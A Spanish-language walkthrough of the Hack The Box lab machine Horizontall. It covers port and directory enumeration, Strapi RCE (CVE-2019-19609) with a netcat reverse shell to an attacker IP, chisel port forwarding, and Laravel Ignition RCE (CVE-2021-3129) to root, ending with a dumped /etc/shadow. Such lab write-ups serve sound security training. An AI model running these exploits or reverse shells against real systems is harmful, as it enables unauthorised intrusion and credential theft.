Horizontall es una máquina Linux de dificultad fácil donde solo se exponen los servicios HTTP y SSH. La enumeración del sitio web revela que está construido utilizando el marco Vue JS. Al revisar el código fuente del archivo Javascript, se descubre un nuevo host virtual. Este host contiene el Strapi Headless CMS que es vulnerable a dos CVE que permiten a los atacantes potenciales obtener ejecución de código remoto en el sistema como el usuario strapi. Luego, después de enumerar los servicios que escuchan solo en localhost en la máquina remota, se descubre una instancia de Laravel. Para acceder al puerto en el que Laravel está escuchando, se utiliza el túnel SSH. El marco Laravel instalado está desactualizado y se ejecuta en modo de depuración. Se puede explotar otro CVE para obtener ejecución de código remoto a través de Laravel como root.
Reconnaissance
Realizaremos un reconocimiento con nmap para ver los puertos que están expuestos en la máquina Horizontall. Este resultado lo almacenaremos en un archivo llamado allPorts.
❯ nmap -p- --open -sS --min-rate 1000 -vvv -Pn -n 10.10.11.105 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-19 12:25 CET
Initiating SYN Stealth Scan at 12:25
Scanning 10.10.11.105 [65535 ports]
Discovered open port 22/tcp on 10.10.11.105
Discovered open port 80/tcp on 10.10.11.105
Completed SYN Stealth Scan at 12:25, 11.95s elapsed (65535 total ports)
Nmap scan report for 10.10.11.105
Host is up, received user-set (0.047s latency).
Scanned at 2025-02-19 12:25:24 CET for 12s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.06 seconds
Raw packets sent: 65535 (2.884MB) | Rcvd: 65549 (2.623MB)
❯ extractPorts allPorts
[*] Extracting information...
[*] IP Address: 10.10.11.105
[*] Open ports: 22,80
[*] Ports copied to clipboard
Lanzaremos scripts de reconocimiento sobre los puertos encontrados y lo exportaremos en formato oN y oX para posteriormente trabajar con ellos. En el resultado, comprobamos que se encuentran abierta una página web de Nginx.
❯ nmap -sCV -p22,80 10.10.11.105 -A -oN targeted -oX targetedXML
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-19 12:25 CET
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.062s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
| 256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_ 256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: horizontall
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 92.59 ms 10.10.16.1
2 28.04 ms horizontall.htb (10.10.11.105)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.40 seconds
Transformaremos el archivo generado targetedXML para transformar el XML en un archivo HTML para posteriormente montar un servidor web y visualizarlo.
❯ xsltproc targetedXML > index.html
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Añadiremos la siguiente entrada en nuestro archivo /etc/hosts.
Realizaremos una enumeración de posibles subdominios de la página web, pero no logramos obtener resultado alguno.
❯ wfuzz --hh=194 -c --hc=404,400 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -H "Host: FUZZ.horizontall.htb" http://horizontall.htb 2>/dev/null
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://horizontall.htb/
Total requests: 220548
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000173: 200 1 L 43 W 901 Ch "www"
A través de la herramienta de feroxbuster, realizaremos una enumeración de directorios y subdominios de la página web. En el resultado obtenido, se nos muestran solamente archivos de JavaScript.
❯ feroxbuster -u http://horizontall.htb/ -t 200 -C 500,502,404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://horizontall.htb/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 7l 13w 178c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 7l 13w 194c http://horizontall.htb/js => http://horizontall.htb/js/
301 GET 7l 13w 194c http://horizontall.htb/css => http://horizontall.htb/css/
301 GET 7l 13w 194c http://horizontall.htb/img => http://horizontall.htb/img/
200 GET 1l 5w 720c http://horizontall.htb/css/app.0f40a091.css
200 GET 1l 35w 6796c http://horizontall.htb/favicon.ico
200 GET 2l 394w 18900c http://horizontall.htb/js/app.c68eb462.js
200 GET 10l 2803w 218981c http://horizontall.htb/css/chunk-vendors.55204a1e.css
200 GET 55l 86826w 1190830c http://horizontall.htb/js/chunk-vendors.0e02b89e.js
200 GET 1l 43w 901c http://horizontall.htb/
Comprobaremos el contenido de estos archivos JS que tienen de nombre app, quizás podamos obtener algún dato interesante. Nos descargaremos el archivo a través de cURL.
❯ curl -s -X GET 'http://horizontall.htb/js/app.c68eb462.js' -o app.js
❯ ls -l app.js
.rw-rw-r-- kali kali 18 KB Wed Feb 19 12:33:18 2025 app.js
Revisaremos el contenido del archivo de JS mediante js-beautifypara verlo en un formato cómodo de JS.
En el contenido del archivo, se hace mención sobre un nuevo subdominio de la página web llamado api-prod.horizontall.htb.
Enumeraremos posibles directorios y páginas webs de esta nuevo subdominio. En el resultado obtenido, comprobamos diferentes páginas y directorios, entre las cuales nos llama la atención las de admin y users.
❯ feroxbuster -u http://api-prod.horizontall.htb/ -t 200 -C 500,502,404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.11.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://api-prod.horizontall.htb/
🚀 Threads │ 200
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
💢 Status Code Filters │ [500, 502, 404]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.11.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 1l 3w 60c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 19l 33w 413c http://api-prod.horizontall.htb/
200 GET 16l 101w 854c http://api-prod.horizontall.htb/Admin
200 GET 223l 1051w 9230c http://api-prod.horizontall.htb/admin/runtime~main.d078dc17.js
403 GET 1l 1w 60c http://api-prod.horizontall.htb/users
200 GET 16l 101w 854c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 16l 101w 854c http://api-prod.horizontall.htb/ADMIN
200 GET 1l 21w 507c http://api-prod.horizontall.htb/reviews
200 GET 1l 1w 90c http://api-prod.horizontall.htb/admin/layout
403 GET 1l 1w 60c http://api-prod.horizontall.htb/admin/plugins
403 GET 1l 1w 60c http://api-prod.horizontall.htb/Users
200 GET 0l 0w 7001634c http://api-prod.horizontall.htb/admin/main.da91597e.chunk.js
200 GET 16l 101w 854c http://api-prod.horizontall.htb/admin
200 GET 1l 1w 144c http://api-prod.horizontall.htb/admin/init
200 GET 1l 1w 90c http://api-prod.horizontall.htb/admin/Layout
Accederemos a http://api-prod.horizontall.htb/admin y comprobaremos el siguiente contenido. Se trata de un CMS llamado Strapi.
Strapi es un CMS de código abierto, moderno y flexible que proporciona una solución escalable y personalizable para la gestión de contenido. Está diseñado específicamente para desarrolladores y se basa en tecnologías como Node. js, React y GraphQL.
Probamos de autenticarnos con las posibles credenciales por defecto de Strapi, pero desafortunadamente no logramos obtener acceso.
Herramientas como Wappalyzer o whatweb no nos acababan mostrando la versión del Strapi. Por lo tanto, decidimos intentar comprobar la versión del Strapi a través del código fuente de la propia página web.
En el código fuente de la página web, nos encontramos en diferentes secciones que mencionan Strapi 3.0.0-beta.17.4.
❯ curl -s -X GET 'http://api-prod.horizontall.htb/admin/main.da91597e.chunk.js' | grep strapi-plugin | head -n5
module.exports = JSON.parse("{\"_from\":\"strapi-plugin-content-type-builder@3.0.0-beta.17.4\"
Realizamos una búsqueda a través de searchsploit para verificar la posible existencia de vulnerabilidades conocidas para esta posible versión del CMS.
Verificamos que se nos muestra una vulnerabilidad de Remote Code Execution (RCE) (Unauthenticated) para nuestra versión del CMS que dispone la aplicación web. Esta vulnerabilidad está reportada como CVE-2019-19609.
El framework Strapi versiones anteriores a 3.0.0-beta.17.8, es vulnerable a una Ejecución de Código Remota en los componentes del Plugin de Instalación y Desinstalación del panel de Administración, ya que no sanea el nombre del plugin y los atacantes pueden inyectar comandos de shell arbitrarios para ser ejecutados mediante la función exec.
Realizando una búsqueda por Internet, nos encontramos con el siguiente repositorio de GitHub que nos ofrece la explotación de la vulnerabilidad.
Nos pondremos en escucha con nc para poder obtener la conexión de la Reverse Shell.
❯ nc -nlvp 443
listening on [any] 443 ...
A través del exploit que nos hemos descargado, realizaremos la explotación de la vulnerabilidad sobre la página de Strapi vulnerable, para que se nos proporcione una Reverse Shell hacía nuestro equipo.
❯ python3 exploit.py http://api-prod.horizontall.htb 10.10.16.3 443
========================================================
| STRAPI REMOTE CODE EXECUTION (CVE-2019-19609) |
========================================================
[+] Checking Strapi CMS version
[+] Looks like this exploit should work!
[+] Executing exploit
Verificamos que finalmente logramos realizar la explotación y nos encontramos en el equipo víctima con el usuario strapi. También podemos verificar la flag user.txt.
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.105] 60270
/bin/sh: 0: can't access tty; job control turned off
$ whoami
strapi
$ ls -l /home
total 4
drwxr-xr-x 8 developer developer 4096 Aug 2 2021 developer
$ cat /home/developer/user.txt
37f728736e***********************
Al obtener la reverse shell, mejoramos la calidad de la shell con los siguientes pasos para obtener una TTY interactiva.
Realizando una enumeración del directorio donde nos encontramos, verificamos de la existencia de un archivo database.jsonel cual contiene las credenciales de acceso a la base de datos strapi de MySQL.
Nos conectaremos a través de las credenciales obtenidas, verificaremos las tablas presentes de la base de datos strapi. Entre las tablas enumeradas, nos encontramos una tabla llamada strapi_administrator.
Comprobaremos los datos de la table mencionada y nos encontramos con el hash del usuario admin. Intentamos crackear este hash obtenido, pero no logramos crackearlo.
Discover Internal Web Server (Chisel Port Forwarding)
Revisaremos los puertos internos de la máquina, en el resultado obtenido nos encontramos diferentes puertos abiertos.
strapi@horizontall:~/myapi$ netstat -ano | grep LISTEN
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0)
tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0)
Realizamos una comprobación sobre los diferentes puertos encontrados. A través de cURL al realizar una comprobación del puerto 8000, se nos muestra que es una página web con el título de Laravel.
❯ ls -l chisel
.rwxr-xr-x kali kali 8.9 MB Sun Feb 16 03:43:15 2025 chisel
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Desde el equipo comprometido, nos descargaremos el binario de chisel y le daremos los permisos de ejecución correspondientes.
Por otro lado, desde el equipo víctima, deberemos de configurar el chiselpara que actúe como cliente de nuestro servidor y realice el Port Forwarding del puerto interno 8000 para que sea el puerto 8000 de nuestro equipo local.
Desde nuestro navegador accederemos a http://localhost.8000 y comprobaremos que efectivamente se trataba de la interfaz de Laravel.
Laravel es un framework de PHP y es utilizado para desarrollar aplicaciones web. PHP es el lenguaje de programación más utilizado en mundo para desarrollar sitios web, aplicaciones web y los populares CMS, como WordPress o Joomla.
Realizaremos una comprobación de los posibles directorios que se puedan encontrar en la página web. En el resultado obtenido, comprobamos la existencia de /profiles pero nos devuelve un código de estado 500.
❯ gobuster dir -u http://localhost:8000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -b 503,404
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://localhost:8000/
[+] Method: GET
[+] Threads: 200
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404,503
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/profiles (Status: 500) [Size: 616202]
En la página inicial de http://localhost:8000, nos encontrábamos la versión de Laravel la cual al parecer la aplicación web utilizaba Laravel 8.
Por lo tanto, decidimos buscar si existía alguna vulnerabilidad conocida para esta versión en concreto. Nos encontramos con el siguiente resultado, en el cual al parecer en la versión 8.4.2debug modepodíamos intentar obtener un RCE.
Desconocemos la versión exacta de Laravel pero vale la pena intentar comprobar si es vulnerable a esta vulnerabilidad reportada como CVE-2021-3129.
Ignition versiones anteriores a 2.5.2, como es usado en Laravel y otros productos, permite a atacantes remotos no autenticados ejecutar código arbitrario debido a un uso no seguro de las funciones file_get_contents() y file_put_contents(). Esto es explotable en sitios que usan el modo de depuración con Laravel versiones anteriores a 8.4.2
Nos encontramos el repositorio de GitHub de Ambionics en el cual nos muestran el PoC de cómo aprovecharnos de esta vulnerabilidad y de qué consise.
Realizaremos la explotación, crearemos un payload malicioso llamado exploit.phar que ejecute el comando id.
Al realizar la explotación de la vulnerabilidad sobre el Laravel vulnerable, nos encontramos que hemos podido ejecutar comandos arbitrarios y el usuario que ejecuta estos comandos es el usuario root.
Con lo cual, tenemos una gran vía potencial de ejecutar comandos como sudo y poder obtener acceso como root en el equipo.
Verificamos que finalmente logramos obtener acceso al sistema como usuario rooty podemos visualziar la flag root.txt
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.105] 49394
bash: cannot set terminal process group (4676): Inappropriate ioctl for device
bash: no job control in this shell
root@horizontall:/home/developer/myproject/public# cat /root/root.txt
cat /root/root.txt
2bdca812*************************
Por otro lado, también nos encontramos con un repositorio de GitHub que automatiza todo este procedimiento.
Lo único que deberemos de editar en el archivo exploit.py es el contenido de la URL vulnerable y el comando que queremos ejecutar en el sistema.
Lanzamos el exploit y lo primero que realiza es comprobar si tenemos phpgcc instalado en el directorio actual, en caso de que no lo tuviéramos haría la descarga automáticamente. Una vez comprobado, nos ejecutará el comando realizado, en este caso la explotación ha sido exitosa y se muestra le ejecución del comando cat /etc/shadow, como el usuario que ejecuta estos comandos es root, podemos visualizar de este archivo privilegiado.
❯ python3 exploit.py
[*] Try to use monolog_rce1 for exploitation.
[+] PHPGGC found. Generating payload and deploy it to the target
[*] Result:
root:$6$rGxQBZV9$SbzCXDzp1MEx7xxXYuV5voXCy4k9OdyCDbyJcWuETBujfMrpfVtTXjbx82bTNlPK6Ayg8SqKMYgVlYukVOKJz1:18836:0:99999:7:::
daemon:*:18480:0:99999:7:::
bin:*:18480:0:99999:7:::
sys:*:18480:0:99999:7:::
sync:*:18480:0:99999:7:::
games:*:18480:0:99999:7:::
man:*:18480:0:99999:7:::
lp:*:18480:0:99999:7:::
mail:*:18480:0:99999:7:::
news:*:18480:0:99999:7:::
uucp:*:18480:0:99999:7:::
proxy:*:18480:0:99999:7:::
www-data:*:18480:0:99999:7:::
backup:*:18480:0:99999:7:::
list:*:18480:0:99999:7:::
irc:*:18480:0:99999:7:::
gnats:*:18480:0:99999:7:::
nobody:*:18480:0:99999:7:::
systemd-network:*:18480:0:99999:7:::
systemd-resolve:*:18480:0:99999:7:::
syslog:*:18480:0:99999:7:::
messagebus:*:18480:0:99999:7:::
_apt:*:18480:0:99999:7:::
lxd:*:18480:0:99999:7:::
uuidd:*:18480:0:99999:7:::
dnsmasq:*:18480:0:99999:7:::
landscape:*:18480:0:99999:7:::
pollinate:*:18480:0:99999:7:::
sshd:*:18772:0:99999:7:::
developer:$6$XWN/h2.z$Y6PfR1h7vDa5Hu8iHl4wo5PkWe/HWqdmDdWaCECJjvta71eNYMf9BhHCHiQ48c9FMlP4Srv/Dp6LtcbjrcVW40:18779:0:99999:7:::
mysql:!:18772:0:99999:7:::
strapi:$6$a9mzQsIs$YENaG2S/H/9aqnHRl.6Qg68lCYU9/nDxvpV0xYOn6seH.JSGtU6zqu0OhR6qy8bATowftM4qBJ2ZA5x9EDSUR.:18782:0:99999:7:::
A través de la herramienta de , la utilizaremos para extraer los puertos del archivo que nos generó el primer escaneo a través de Nmap. Esta herramienta nos copiará en la clipboard los puertos encontrados.
Accederemos a y verificaremos el resultado en un formato más cómodo para su análisis.
Accederemos a y nos encontramos con la siguiente página web. Aparentemente, no obtenemos ningún dato interesante en el contenido principal de la página web.
Accederemos a y comprobaremos el siguiente contenido.
Para comprobar la página web desde nuestro equipo, lo que realizaremos es un Port Forwarding para poder comprobar el puerto interno desde nuestro equipo local. Este práctica lo realizaremos a través de el cual compartiremos a través de un servidor web.
Si accedemos a se nos muestra el siguiente mensaje de error, al parecer la aplicación no funciona correctamente en este punto. Exploraremos otras vías.
Deberemos de disponer instalado . PHPGGC es una biblioteca de cargas útiles PHP unserialize() junto con una herramienta para generarlas, desde la línea de comandos o mediante programación.